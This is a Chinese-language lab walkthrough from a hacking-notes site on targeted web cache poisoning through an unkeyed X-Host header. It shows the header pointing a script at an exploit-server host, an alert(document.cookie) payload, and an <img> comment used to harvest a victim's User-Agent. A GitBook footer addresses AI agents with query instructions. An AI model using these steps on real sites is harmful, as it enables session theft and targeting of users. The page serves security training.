> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/cache-poisoning/targeted-cache-poisoning-via-unknown-header.md).

# 通过未知头进行定向缓存投毒

### 使用未知请求头进行定向 Web 缓存投毒

用一个会执行的响应来污染缓存 `alert(document.cookie)` 在访客的浏览器中， **但仅针对一部分用户** 对应于受害者。

#### 初步观察

* 请求/响应被拦截。

<figure><img src="/files/936563e2a521f3a636e153e9ec8c12285000ed54" alt=""><figcaption></figcaption></figure>

通过 **Param Miner** 作为扩展，我们开始检测可被利用的请求头

<figure><img src="/files/0797f9b65ac3e1a3dd108a19bd325bdbd99c16e5" alt=""><figcaption></figcaption></figure>

* 该工具会显示一个 \*\*请求头

<figure><img src="/files/e439de24babb8df3876bf6e91508cc8845c30d94" alt=""><figcaption></figcaption></figure>

如果 `X-Host: test.com` 被发送时，该值会被重新注入到响应中（在 `src`).

```http
X-Host: test.com
```

#### 有效载荷的实现

1. 在利用服务器上\*\*，我们创建一个资源 **路径/标题为**:

* `/resources/js/tracking.js`

<figure><img src="/files/09ff37447059670ed5b2e9dd441c679d0b3d777a" alt=""><figcaption></figcaption></figure>

文件内容：

```javascript
alert(document.cookie)
```

<figure><img src="/files/2af6834928a00e4f1e2f57b3a6d7b995c43417e1" alt=""><figcaption></figcaption></figure>

#### 针对 X-Host 的缓存投毒

* 请求返回如下：

```http
X-Host: exploit-0ae9007b03acd9a1802ccfa901070019.exploit-server.net
```

<figure><img src="/files/6d9ab0bc5563419fb7283f02b47b9903922413c8" alt=""><figcaption></figcaption></figure>

然后页面会加载 `tracking.js` 来自利用服务器的内容，从而触发警报。

<figure><img src="/files/75cb474dcbcf389b5e898b6cb26eb11f8273a997" alt=""><figcaption></figcaption></figure>

#### 使用 User-Agent 进行针对受害者的攻击

* 我们注意到响应会根据以下内容而变化 `User-Agent` （通过 `Vary`），因此要到达受害者，我们必须 **知道受害者的 User-Agent**.

<figure><img src="/files/64df721154d59b5b3849096f9481e97c4a04b8b7" alt=""><figcaption></figcaption></figure>

发布一条评论，强制向利用服务器发起请求：

```http
<img src="https://exploit-0ae9007b03acd9a1802ccfa901070019.exploit-server.net/">
```

<figure><img src="/files/bb170ccfdac9d3dbc89038448064b8ffab92ac0c" alt=""><figcaption></figcaption></figure>

在利用服务器的日志中，恢复出受害者的 User Agent：

<figure><img src="/files/0f27fa80d8f756eba0243e73da1c47740934e43b" alt=""><figcaption></figcaption></figure>

`Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36`


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/cache-poisoning/targeted-cache-poisoning-via-unknown-header.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
